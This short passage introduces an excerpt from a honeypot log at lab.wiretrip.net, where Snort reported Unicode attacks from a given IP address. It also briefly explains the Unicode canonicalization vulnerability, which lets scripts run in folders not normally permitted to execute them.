The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file permission Canonicalization vulnerability (Unicode attack) allows scripts to run in arbitratry folders that do not normally have the right to run scripts.
